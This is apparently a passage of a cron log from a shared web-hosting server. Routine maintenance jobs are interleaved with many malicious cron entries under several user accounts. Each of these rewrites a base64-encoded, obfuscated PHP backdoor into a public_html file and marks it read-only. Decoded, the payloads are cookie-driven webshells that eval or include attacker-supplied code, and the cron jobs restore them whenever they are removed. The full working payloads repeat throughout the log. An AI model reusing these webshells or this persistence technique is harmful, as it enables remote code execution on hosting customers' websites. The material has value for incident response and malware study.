6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:38:01 medusa CROND[14010]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:39:01 medusa CROND[15721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:39:01 medusa CROND[15724]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:39:01 medusa CROND[15723]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:39:01 medusa CROND[15722]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:39:01 medusa CROND[15726]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:39:01 medusa CROND[15727]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:39:01 medusa CROND[15729]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 06:39:01 medusa CROND[15730]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:39:01 medusa CROND[15731]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:39:01 medusa CROND[15725]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:39:01 medusa CROND[15734]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:39:01 medusa CROND[15738]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 06:39:01 medusa CROND[15739]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:39:01 medusa CROND[15728]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Jun  7 06:40:01 medusa CROND[17550]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 06:40:01 medusa CROND[17553]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 06:40:01 medusa CROND[17564]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 06:40:01 medusa CROND[17593]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 06:40:01 medusa CROND[17594]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 06:40:01 medusa CROND[17595]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:40:01 medusa CROND[17596]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 06:40:01 medusa CROND[17599]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:40:01 medusa CROND[17601]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 06:40:01 medusa CROND[17602]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 06:40:01 medusa CROND[17600]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 06:40:01 medusa CROND[17597]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 06:40:01 medusa CROND[17605]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:40:01 medusa CROND[17606]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:40:01 medusa CROND[17607]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:40:01 medusa CROND[17615]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 06:40:01 medusa CROND[17611]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:40:01 medusa CROND[17625]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 06:40:01 medusa CROND[17627]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:40:01 medusa CROND[17628]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:40:01 medusa CROND[17626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:40:01 medusa CROND[17610]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 06:40:01 medusa CROND[17638]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCR